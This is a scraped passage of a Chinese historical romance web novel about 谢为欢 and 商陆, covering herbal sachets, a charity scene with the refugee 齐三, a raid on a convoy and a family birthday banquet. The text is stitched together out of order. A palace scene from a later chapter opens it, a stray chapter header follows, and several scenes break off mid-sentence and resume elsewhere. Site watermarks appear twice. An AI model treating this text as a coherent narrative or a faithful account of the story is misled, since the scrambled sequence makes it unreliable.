他声音疏淡,“距离营地不远。但有密林相隔,少有人至,是个僻静之地。” 距离稍近,清淡的草木香气送入鼻腔。许是被这清气惊扰,谢为欢轻掀眼睫,几乎在他开口的瞬间,便低眸顺着他手指的方向望去。 “娘娘,就算那剑上没毒,陛下他也没多少时日了。” “您当初在边疆时,跳入陵江后昏迷过去,医师断言您不会醒来,是陛下…是他找到巫医,以二十年寿命为代价,换您醒来。” “二十年寿命啊……是他,救你回来的,纵使陛下他确实有错,您能不能看在他有心悔改的份上,先不要走,就陪他几日吧。” “仅仅几日,娘娘。” 闻言,谢为欢不自觉后退了几步,只觉脑袋里嗡的一声响,思绪在这一刻完全停止, “你可是在骗我?” 什么巫医,什么二十年寿命, 她竟什么都不知道,这一切一定都是在骗她,一定是。 她的心仿若被紧紧攥住,然后掏出,扔在冰天雪地之中,支撑她的那根线,在这一刻,彻底断了, 为何商陆要如此做…… “娘娘,臣若有半句虚言,不得好死。” “您快去看看陛下吧。”【你现在阅读的是魔蝎小说 moxiexs】 【END】 第 81 章 第 81 章 苍怀一看不对,马上挺身而出:“郎君让我……” 脱口的话在看见谢为欢素白如雪的手腕时顿住。 往她袖袋里摸香囊不就好比把手伸进了女郎的衣衫里,这登徒浪子做的事情,还真没法代劳。 他闭上嘴,退回去。 谢为欢的眼睛生得好,水光盈盈,就是笑的时候偶尔带着点暗戳戳的狡黠,“那等郎君什么时候方便我再送来。” 像猫一样,有使不完的小心思。 商陆不想如她所愿,但是偏偏好像怎么样都会如她所愿。 他清楚,最好的办法就是不理她,立刻转身离开。 他应该走的,但是手却伸了过去。 谢为欢身上的衣裳非谢非纱,只是较为编织较密的纹布,她抬起手臂,袖子就往下折叠,里面是一件略薄的白色束袖衣。 商陆提起她的袖口,轻飘飘的,并没有任何东西。 谢为欢面不改色,“是我记错了,那就是在右手。” 她将两个沉甸甸的水囊倒腾到左手,再把右手伸给他,叮铃铃,三支银色腕钏滑了下去,卡在她的小臂上,手上的水也顺着微微泛红的掌腹沿着腕口渗入袖口。 她虽是北地人,但是骨架小巧,余光一瞥那腕口不过圈指,尤显得袖口空荡。 商陆没有挨着她的手臂,从袖口探入,谢为欢眼睛转到一边,脖颈弯曲,后领与颈部之间腾出了空隙,夹着一段阴影,像是危险至极却引人神往的深渊。 他鼻端又嗅到了那股幽香。 并不浓烈凸出,唯有馥郁绵长。 不是她发间的丹桂水味,也不是衣袖里熏的淡香,那是—— 商陆拿到她袖子里藏的香囊,下意识拿起轻嗅。 也不是。 谢为欢后退了步,笑道:“戈阳的虫蚊毒辣,这是我亲自晾晒草药、研磨成粉制成的香囊,效果比买得要好,郎君贴身戴,会好受一些。” 苍怀挠了挠后颈,目光不由瞥向商陆手里的香囊。 谢为欢打水不好久留要回去,商陆带着苍怀离开。 正好遇到庾家兄弟朝溪水走来。 庾十一郎上回和谢为欢见面被兄长带着商九郎撞见,心里十分羞愧,低着脑袋跟在兄长后行礼。 “多亏你提醒烟火,不然他们指不定还要惹来麻烦呢!”庾七郎脸上浮出忧虑,“江阳离马城不远,马城上个月已经被胡兵扰境两次,危矣。” “小心一点总是好的。”商陆目光瞥向庾七郎身后。 因为兄长谈论的事情他不关心,庾十一郎用手指轻轻抚弄着腰间的香囊,好像是什么心爱之物。 那香囊,无论是颜色还是花纹都十分眼熟。 再看庾七郎,也挂着同样款式。 兴许是戈阳最近流行的花样?过午时分,街上逐渐热闹。 虽然还下着小雨,但是忙于生计的人依然要支起铺子,向路人兜售商品。 热腾腾的胡饼、汤饼、乳饼催人肚鸣,谢为欢受了风,五脏六腑都快冻成冰坨子,连忙站到一个背风避雨的铺子前,叫铺主拿块胡饼,暖暖肠胃。 铺主从陶泥深炉里夹出张表皮烤得焦黄,胡麻喷香的饼子,拿油纸包好,正要递来。 哐当一声巨响,旁边扫帚、竹竿突得倒地,吓得铺主手哆嗦了下,谢为欢也没能接住,刚出炉的胡饼啪叽掉地上。 一男一女狼狈跌在地上,谢为欢接连后退几步。 “都说了没有钱便没有药,你去别家吧!我们东家开济世堂不是为了当善人的!去去去——”头戴灰巾的伙计拿起倒地的扫帚,把散落的两个铜钱一股脑扫出去。 就两个臭钱,他都懒得弯腰捡! 青年从地上爬起来,把身边的小娘子迅速检查了下,口里叫着妹妹,那小娘子满脸通红闭目不起,像是不省人事。 “救救我妹妹吧!”青年身上只有一件很薄的葛衣,肩和肘关都裂开了洞,他跪下哐哐磕头,地上的泥泞和污水顺着他的脸淌下。 “我妹妹小的时候,有道士、道士看过她面相,说、说她必然会荣华登顶!求大发慈悲救救她,我们他日一定会报答的!” 药馆伙计露出鄙夷的笑脸,不吝讽刺道:“那牛鼻子道士没有算到你这妹妹会在荣华登顶之前先死于重病?” 旁边看客或有不忍,或有跟着笑起来的。 世庶之间有天堑,地位如云泥。 庶族要想翻身,那就好比移山填海! 他们兄妹俩一个已经脚踏黄泉路,一个也穷困潦倒好不到哪里去,何谈未来? “别说我们不善,已经赊了三天的药给你妹妹了,那些钱掌柜的自知是要不回来,但往后还想白喝,那是休要提……”伙计上下打量他,口里不屑地“呿”了声。 青年直起身,“我齐三不是强盗土匪,只是经历北胡战乱,家破人亡流落至此,但我有手有脚,就算去倒恭桶也会把钱还上,我妹妹病重拖不得,还请掌柜再宽宥我一些时日,只要妹妹好转,我马上就去做工还钱!” 伙计挑起吊梢眼,“吃白食的都是这么说,又有几个能做到?没钱就省省,免得一个连累一个。” 这是要他别白费时间和精力在一个病的要死的小娘子身上。 到阳江端头时,天已暮色,倦鸟归巢,车队找了开阔的地方驻扎。 白日不能生火上怕被胡兵看见烟柱,到了晚上不点火也不行。 在商家部曲的建议下,他们找来了石头垒出了石灶,火生在里面,周围一圈温暖明亮,还能煮上热食。 在豫州还没有大面沦陷时,春祭还是一件相当好玩的事情。 晚上女郎们结伴去河边放花灯祈福,有时候还能放天灯,与星辉争光。 哪像如今,连烤个火都得把脑袋伸过去,近了还怕燎着头发呢!这个问法仿佛在质疑她信口开河,谢为欢抿了抿唇。 “……郎君是不信我?” 商陆唇角轻扯,慵懒道:“刘太守三日前递贴,刘四郎接连两日都在青楼挑选妓子,他知我商家人不狎妓,否则家法伺候……” 谢为欢久久出不了声。 他竟然都查到了。 “关于我大兄……郎君也知道?” “谢家大郎君与这件事有关系么?”商陆轻描淡写反问,又道:“你是为了你大兄来的?” “当然是为了郎君来的。”谢为欢面不改色。 不过能得知商家郎不打算追究谢家的责任,她还是暗暗松了口气。 商陆打量她几眼,“你话问了,我也答了,细雨伤身,回去吧。” 谢为欢没有动身,反而眨了眨眼,脸上泛起羞意,轻声:“其实,还有一事……” 商陆善解人意,随即笑:“是为了那块绣品?” 谢唯珊喋喋不休地抱怨,冯大娘子都忍不住叫她闭嘴。那被叫作谢唯珊的小娘子顿时眼皮一跳,脸皮发紧。 不是因对方的无礼,而是眼前这张忽而抬起的脸实在太让人窒息了。 不过是和自己年纪差不多的小娘子,在她还在为敏感易红的皮肤烦恼时,谢为欢却可以日日顶着那张吹弹可破的小脸招摇。 皮肤莹白无暇也就罢了,偏生她五官还生得惊艳,眉弯如柳,水眸潋滟,小巧的琼鼻下一张含粉染朱的唇,或嗔或笑都勾人,任谁看了都会说她是谢家女里……甚至全豫州最好看的那个! 谢为欢没管她,几步走下台阶,先扶起自己的婢女映柳,检查了她没多大事,微蹙的眉头才松了开来。 “我在同你说话呢!”谢唯珊不习惯被忽视,气得险些要冲下来和她理论,不过外面飘着雨丝,万一弄湿了她新做的绫谢破裙那便不美了。 谢唯珊气呼呼盯着无动于衷的谢为欢,女郎素淡的拼幅间色裙几乎和不远处雨中嫩绿融为一体,仅腰间绣缠枝纹系带略鲜艳,更凸显出她腰肢纤细,胸脯丰腴饱满。 连身段都浑不像青涩的小娘子,究竟怎么长的! 谢为欢的视线穿过拌嘴的母女往后,商家的部曲一直忙个不停,骑着马在车群外围巡视,是太小心还是真的发现了什么吗? 苍怀骑马过来和商家的部曲交代,他腰间挂着中午谢为欢送出去的香囊。 谢为欢收回视线,“咔嚓”声折断手里的木棍,添进火里,火苗簇得一下冒了起来。 洗漱过后,女郎们睡在牛车上,谢为欢和谢唯珊共用一辆车,两人背对着背,各挨一边。 一晚上谢为欢都没睡熟,因为谢唯珊就没睡,跟个烧饼一样来回倒腾,外面已经有点要亮的感觉,她干脆睁开眼,撑肘起身,“五姐姐……” 忽然间她听见几道奇怪的声音,咻咻咻—— “走水啦!走水啦!”有人大喊。 谢为欢撩开车帘,谢唯珊也刚爬起来,两人凑到窗前,外面熊熊燃烧起大火。 “怎么好端端的会起火呢?”谢唯珊不解。 谢为欢开始找鞋子、外衣穿上,“有人袭击,快走!” 她刚刚听见的那几声应该是箭簇的声音!庾府寿宴确实是个吉日,刚经历过一场淋漓大雨,天空洗净,肉眼可见高空上归来的鸟群热闹。 庾七郎站在府门口与一众兄弟迎宾,笑得脸都僵了,直到看见商九郎从马车上下来,顺势就引着他一道往府里走。 身后还有无数的目光追随着他们。 “好啊,我还以为你不会来呢!” 商陆笑道:“我家老夫人做寿的时候你都登门磕头了,我不来岂不是欠你一回。” 庾七郎大笑起来,“那成,你别给我家老夫人磕头就行,我怕吓着她老人家!” 两人边说着话,不知不觉就走到了孝礼堂。 老夫人正坐在八仙团椅上,旁边不远处或站或立着几位庾家的郎君和女郎簇拥着。 一波又一波的人携着家眷上前祝贺,老夫人满脸红光,气色看起来颇好,时不时被逗得大笑。 “这会人多,我先带你去别处坐坐,等人少的时候再过去。”庾七郎知道他的脾性。 商陆点了点头。 两人刚走几步。 “谢府到——”小厮喜声报唱着来宾。 老夫人十分高兴,因为谢家之前送来的衣料她相当喜欢。 郎君和女郎们上前拜见老夫人。 “好好好,都是好孩子,我还记得唯珍没出嫁的时候,也是这么可人的孩子。” 老夫人对谢府的孩子不算陌生,尤其是冯大娘子的第一个女儿。 冯大娘子脸上堆笑,“老夫人待珍儿好,珍儿上回写信还说要我代为问好呢!” 老夫人笑着点头,又关心道:“那你家这几个女郎也都到了议亲的年纪吧?我记得……咦,最小的九娘不在?” “九娘她病了,怕把病气过给老夫人,这才没过来。”谢家主咬着牙,努力扯起笑解释。 “哦。”老夫人理解,笑眯眯道:“年纪都到了,也该考虑考虑了!” 谢唯珊等女郎在老夫人的注视下都羞涩地低下头。 冯大娘子笑而不答。 他们都打算去建康了,怎么还能把女儿嫁在戈阳。 谢家拜寿后被侍从分男女席引开,老夫人身后的一位着宝蓝翻领袍的郎君怅然若失地站了起来。 “祖母……” 是有人用飞箭带着火种点燃了车棚,说不定还会有更多的箭…… 她刚想到,接连十几声的箭鸣,火光已经能透过放下的车帘映在谢唯珊惊恐的脸上。 谢为欢穿好自己的,又催促谢唯珊动身,待两人爬下车,外面已经乱成一团。 “阿父、阿娘呢?” 谢府的几个侍卫看见两位女郎连忙道:“郎主昏了过去,大娘子正照看他,两位娘子快些逃吧!” 牛车是决计指望不上了,因为车与车之间靠得很近,外面不挪,里面动弹不得。 “我们能往哪里去?”谢唯珊六神无主。 谢为欢用力拽着她,“去商家那边,商家的部曲人数众多,肯定能护住我们。” 商家的马车不与他们的靠近,还刻意停在外围,机动灵活。 可是在这片混乱里想要找到正确的方向也很难,箭雨之后,胡骑奔至,尖叫声刺破耳鼓。 谢为欢和谢唯珊的手心里都是汗,可两人却握着谁也不敢松开手。 “我、我们去树林里……”谢唯珊指了方向,不少女郎正往林子里躲去,林子幽深固然可怕,但是总比显眼的平地安全。 谢为欢同意了,两人飞快跑进黑暗里。 直到跑不动,她们才抱膝坐在一块凸起的石头后喘气。 谢唯珊小声啜泣:“要赶紧搬去建康!这里实在待不了了!” 谢为欢没有说话,但是今夜过后那些世家的确要重新考虑何去何从。 只是,建康又当真是个好选择吗? “啊——救命!”不远处有名娘子扯起嗓子呼救,但声音很快就抹灭在一声呜咽闷哼里,谢为欢和谢唯珊同时僵住了身。 在昏暗之中,两人对视一眼,后背皆是冷汗。 齐三气得胸腔起伏,手背在脸上大力抹了抹,声音放大:“这世道乱伐,尔等怎知道我今日之难,不会是尔等将来之苦!” “这人好没道理,怎的还咒起了旁人?”路人面露不悦。 “是胡人迫害他们兄妹又不是我们,真是豺狼兽心。” “还是快些想法子离开豫州吧,前几天戈阳丞的车队都给抢掠了,家丁舍命相护才留下命来,往后肯定更乱了!” 谢为欢还是头一回听说周大人离开戈阳的消息,不免胆战心惊。 外面的胡人已经这样猖狂了吗? “你、你再乱说话,我们就要去报官,把你抓起来!”伙计心里膈应,谁也不喜欢听见自己将来会落魄的话。 “我不怕!” 青年落魄,但眼中凝光不散,炯如炬火。 就像是野草,多么贫瘠的石头缝都能茁壮生长。 谢为欢轻叹。 这世间过得不如意的人毕竟是多数,能有几个像商家郎那样会投胎,一出生就在被人一辈子都企及不到的高位。 她取下荷包,把里面的铜板倒到一张从胡饼铺主那儿要来的牛皮纸上,拨出两枚放进胡饼铺的钱匣了,那是她买饼的钱。 剩下还有五六十枚,大概够这位小娘子几天的药钱了。 齐三正悲愤交加,忽而有人托着几十枚五铢钱至他眼前,温言道:“这些钱郎君先用着,望令妹能康复如初。” 女郎戴着幕篱,不辨面容,但听声音就知道是个年轻的小娘子。 人穷苦到一个境地就会失了风度,齐三看见摆在眼前的救命钱只有贪婪地睁大眼,一把接了过来,搂着妹妹又哭又笑。 “五娘,阿兄有钱给你治病了,你很快就会好起来。”他边哭还边想向谢为欢磕头。 谢为欢连忙阻止他,让他给妹妹治病要紧。 齐三点点头,手抓着一纸包五铢钱,爬起来时还顺便把地上沾了泥巴的两枚一块塞进药馆伙计手里,伙计“哎哎”惊叫了两声,嫌弃不已。 齐三抱起妹妹,撞开伙计径自往药馆里去。 谢为欢看事情得解,也不再耽搁,转身就打算走回家去。 “小娘子,你的胡饼还没拿呢!” 谢为欢指着地上掉的饼,道:“我的钱只够买地上这个。” 胡饼铺主笑眯眯递出一个热腾腾的胡饼,“那个算我的,娘子心善,可不能饿着肚子。” 敦厚的笑脸和诚恳的赞扬让谢为欢心里升起暖意。 五脏六腑都被一股暖流浸泡着。 虽然对方不是什么名士,话语也没有分量,但谢为欢还是会为此而高兴。 谢为欢拿起胡饼欲往家赶,医馆的藤帘一掀,那位脸上又是泥巴又是眼泪的齐三郎衣衫褴褛地站在檐下,朝她拱手。 “今我齐赫得女郎相助,他日荣华富贵必不忘女郎今日之恩!” 谢为欢随意一颔首,其实并未把他的话放在心上,甚至过了今天她或许都不会再记起这个齐赫和他的妹妹。 “怎么了?”庾七郎注意他的目光,顺着往自己身上一打量。 “看着眼熟。” “哦,这个是谢九娘制的香囊,以前和谢家兄弟一块出去,虫子就叮我们几个,很是稀奇,后来知道是谢九娘功劳,我就腆着脸求她也帮我们做几个……” 商陆微微眼动。 说着,庾七郎还不忘教训弟弟,“你看你干的荒唐事,人家还心无芥蒂地送你香囊,学学小娘子的心胸。” “她每年都做很多个香囊?”商陆又问。 “做啊,关系好的就送。”庾七郎没有觉得几个香囊有什么不对劲,毕竟香囊的衣袋都是街上买的,又不是小娘子亲手绣的,拿着并不会多想。 何况他拜托的是谢家兄弟,谢家兄弟再去求亲妹子,这中间绕了几绕,关系和人情就是各是各的,他嘛,也是心安理得。 商陆和庾七郎闲聊了两句,才告辞离去。 登上马车之前,商陆将袖子里的香囊抛给了苍怀。【你现在阅读的是魔蝎小说 moxiexs】